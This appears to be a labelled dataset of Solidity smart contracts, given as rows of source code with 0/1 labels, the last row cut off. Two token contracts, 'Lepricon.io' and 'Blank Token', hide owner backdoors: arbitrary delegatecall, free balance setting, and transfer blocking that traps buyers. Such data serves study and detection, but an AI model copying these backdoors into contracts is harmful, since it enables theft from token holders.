source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
|---|---|---|
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 13000000000000000000000000;
string public name = "Lepricon.io";
string public symbol = "L3P";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,067 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BlankToken {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 125000000000000000000000000;
string public name = "Blank Token";
string public symbol = "BLANK";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
modifier checkLimits(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 87 |
pragma solidity ^0.6.7;
interface IUniswapV3PoolImmutables {
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function fee() external view returns (uint24);
function tickSpacing() external view returns (int24);
function maxLiquidityPerTick() external view returns (uint128);
}
interface IUniswapV3PoolState {
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
function feeGrowthGlobal0X128() external view returns (uint256);
function feeGrowthGlobal1X128() external view returns (uint256);
function protocolFees() external view returns (uint128 token0, uint128 token1);
function liquidity() external view returns (uint128);
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128
);
function tickBitmap(int16 wordPosition) external view returns (uint256);
function secondsOutside(int24 wordPosition) external view returns (uint256);
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 liquidityCumulative,
bool initialized
);
}
interface IUniswapV3PoolDerivedState {
function secondsInside(int24 tickLower, int24 tickUpper) external view returns (uint32);
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory liquidityCumulatives);
}
interface IUniswapV3PoolActions {
function initialize(uint160 sqrtPriceX96) external;
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
interface IUniswapV3PoolOwnerActions {
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
interface IUniswapV3PoolEvents {
event Initialize(uint160 sqrtPriceX96, int24 tick);
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
int24 tick
);
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
abstract contract AuctionHouseLike {
function bids(uint256) virtual external view returns (uint, uint);
function buyCollateral(uint256 id, uint256 wad) external virtual;
function liquidationEngine() view public virtual returns (LiquidationEngineLike);
function collateralType() view public virtual returns (bytes32);
}
abstract contract SAFEEngineLike {
mapping (bytes32 => mapping (address => uint256)) public tokenCollateral;
function canModifySAFE(address, address) virtual public view returns (uint);
function collateralTypes(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function coinBalance(address) virtual public view returns (uint);
function safes(bytes32, address) virtual public view returns (uint, uint);
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function approveSAFEModification(address) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
}
abstract contract CollateralJoinLike {
function decimals() virtual public returns (uint);
function collateral() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract CoinJoinLike {
function safeEngine() virtual public returns (SAFEEngineLike);
function systemCoin() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract CollateralLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
function balanceOf(address) virtual public view returns (uint);
}
abstract contract LiquidationEngineLike {
function chosenSAFESaviour(bytes32, address) virtual public view returns (address);
function safeSaviours(address) virtual public view returns (uint256);
function liquidateSAFE(bytes32 collateralType, address safe) virtual external returns (uint256 auctionId);
function safeEngine() view public virtual returns (SAFEEngineLike);
}
contract GebUniswapV3KeeperFlashProxyETH {
AuctionHouseLike public auctionHouse;
SAFEEngineLike public safeEngine;
CollateralLike public weth;
CollateralLike public coin;
CoinJoinLike public coinJoin;
CoinJoinLike public ethJoin;
IUniswapV3Pool public uniswapPair;
LiquidationEngineLike public liquidationEngine;
address payable public caller;
bytes32 public collateralType;
uint256 public constant ZERO = 0;
uint256 public constant ONE = 1;
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
constructor(
address auctionHouseAddress,
address wethAddress,
address systemCoinAddress,
address uniswapPairAddress,
address coinJoinAddress,
address ethJoinAddress
) public {
require(auctionHouseAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-auction-house");
require(wethAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-weth");
require(systemCoinAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-system-coin");
require(uniswapPairAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-uniswap-pair");
require(coinJoinAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-coin-join");
require(ethJoinAddress != address(0), "GebUniswapV3KeeperFlashProxyETH/null-eth-join");
auctionHouse = AuctionHouseLike(auctionHouseAddress);
weth = CollateralLike(wethAddress);
coin = CollateralLike(systemCoinAddress);
uniswapPair = IUniswapV3Pool(uniswapPairAddress);
coinJoin = CoinJoinLike(coinJoinAddress);
ethJoin = CoinJoinLike(ethJoinAddress);
collateralType = auctionHouse.collateralType();
liquidationEngine = auctionHouse.liquidationEngine();
safeEngine = liquidationEngine.safeEngine();
safeEngine.approveSAFEModification(address(auctionHouse));
}
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "GebUniswapV3KeeperFlashProxyETH/add-overflow");
}
function subtract(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "GebUniswapV3KeeperFlashProxyETH/sub-underflow");
}
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == ZERO || (z = x * y) / y == x, "GebUniswapV3KeeperFlashProxyETH/mul-overflow");
}
function wad(uint rad) internal pure returns (uint) {
return rad / 10 ** 27;
}
function bid(uint auctionId, uint amount) external {
require(msg.sender == address(this), "GebUniswapV3KeeperFlashProxyETH/only-self");
auctionHouse.buyCollateral(auctionId, amount);
}
function multipleBid(uint[] calldata auctionIds, uint[] calldata amounts) external {
require(msg.sender == address(this), "GebUniswapV3KeeperFlashProxyETH/only-self");
for (uint i = ZERO; i < auctionIds.length; i++) {
auctionHouse.buyCollateral(auctionIds[i], amounts[i]);
}
}
function uniswapV3SwapCallback(int256 _amount0, int256 _amount1, bytes calldata _data) external {
require(msg.sender == address(uniswapPair), "GebUniswapV3KeeperFlashProxyETH/invalid-uniswap-pair");
uint amount = coin.balanceOf(address(this));
coin.approve(address(coinJoin), amount);
coinJoin.join(address(this), amount);
(bool success, ) = address(this).call(_data);
require(success, "failed bidding");
ethJoin.exit(address(this), safeEngine.tokenCollateral(collateralType, address(this)));
uint amountToRepay = _amount0 > int(ZERO) ? uint(_amount0) : uint(_amount1);
weth.transfer(address(uniswapPair), amountToRepay);
uint profit = weth.balanceOf(address(this));
weth.withdraw(profit);
caller.call{value: profit}("");
caller = address(0x0);
}
function _startSwap(uint amount, bytes memory data) internal {
caller = msg.sender;
bool zeroForOne = address(coin) == uniswapPair.token1() ? true : false;
uint160 sqrtLimitPrice = zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1;
uniswapPair.swap(address(this), zeroForOne, int256(amount) * -1, sqrtLimitPrice, data);
}
function _getOpenAuctionsBidSizes(uint[] memory auctionIds) internal view returns (uint[] memory, uint[] memory, uint) {
uint amountToRaise;
uint totalAmount;
uint opportunityCount;
uint[] memory ids = new uint[](auctionIds.length);
uint[] memory bidAmounts = new uint[](auctionIds.length);
for (uint i = ZERO; i < auctionIds.length; i++) {
(, amountToRaise) = auctionHouse.bids(auctionIds[i]);
if (amountToRaise > ZERO) {
totalAmount = addition(totalAmount, addition(wad(amountToRaise), ONE));
ids[opportunityCount] = auctionIds[i];
bidAmounts[opportunityCount] = amountToRaise;
opportunityCount++;
}
}
assembly {
mstore(ids, opportunityCount)
mstore(bidAmounts, opportunityCount)
}
return(ids, bidAmounts, totalAmount);
}
function liquidateAndSettleSAFE(address safe) public returns (uint auction) {
if (liquidationEngine.safeSaviours(liquidationEngine.chosenSAFESaviour(collateralType, safe)) == 1) {
require (liquidationEngine.chosenSAFESaviour(collateralType, safe) == address(0),
"safe-is-protected.");
}
auction = liquidationEngine.liquidateSAFE(collateralType, safe);
settleAuction(auction);
}
function settleAuction(uint auctionId) public {
(, uint amountToRaise) = auctionHouse.bids(auctionId);
require(amountToRaise > ZERO, "GebUniswapV3KeeperFlashProxyETH/auction-already-settled");
bytes memory callbackData = abi.encodeWithSelector(this.bid.selector, auctionId, amountToRaise);
_startSwap(addition(wad(amountToRaise), ONE), callbackData);
}
function settleAuction(uint[] memory auctionIds) public {
(uint[] memory ids, uint[] memory bidAmounts, uint totalAmount) = _getOpenAuctionsBidSizes(auctionIds);
require(totalAmount > ZERO, "GebUniswapV3KeeperFlashProxyETH/all-auctions-already-settled");
bytes memory callbackData = abi.encodeWithSelector(this.multipleBid.selector, ids, bidAmounts);
_startSwap(totalAmount, callbackData);
}
receive() external payable {
require(msg.sender == address(weth), "GebUniswapV3KeeperFlashProxyETH/only-weth-withdrawals-allowed");
}
} | 0 | 1,430 |
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
contract Commacoin is ERC20, ERC20Detailed, ERC20Burnable, Ownable {
constructor(string name, string symbol,uint8 decimals, uint256 totalSupply) public
ERC20()
ERC20Detailed(name, symbol, decimals)
ERC20Burnable()
Ownable() {
_mint(msg.sender, totalSupply * (10**uint256(decimals)));
}
} | 1 | 3,252 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract CoxxxCoinCrowdsale {
address public beneficiary;
uint public amountRaised;
uint private currentBalance;
uint public price;
uint public initialTokenAmount;
uint public currentTokenAmount;
token public tokenReward;
mapping(address => uint256) public balanceOf;
function CoxxxCoinCrowdsale(
address sendTo,
address addressOfTokenUsedAsReward
) {
beneficiary = sendTo;
price = 100000000000000;
initialTokenAmount = 500000000;
currentTokenAmount = 500000000;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
uint amount = msg.value;
if (amount > 0) {
balanceOf[msg.sender] += amount;
amountRaised += amount;
currentBalance += amount;
uint tokenAmount = amount / price;
currentTokenAmount -= tokenAmount;
tokenReward.transfer(msg.sender, tokenAmount * 1 ether);
}
}
function bank() public {
if (beneficiary == msg.sender && currentBalance > 0) {
uint amountToSend = currentBalance;
currentBalance = 0;
beneficiary.send(amountToSend);
}
}
function returnUnsold() public {
if (beneficiary == msg.sender) {
tokenReward.transfer(beneficiary, currentTokenAmount * 1 ether);
}
}
function returnUnsoldSafe() public {
if (beneficiary == msg.sender) {
uint tokenAmount = 100000;
tokenReward.transfer(beneficiary, tokenAmount * 1 ether);
}
}
} | 0 | 282 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
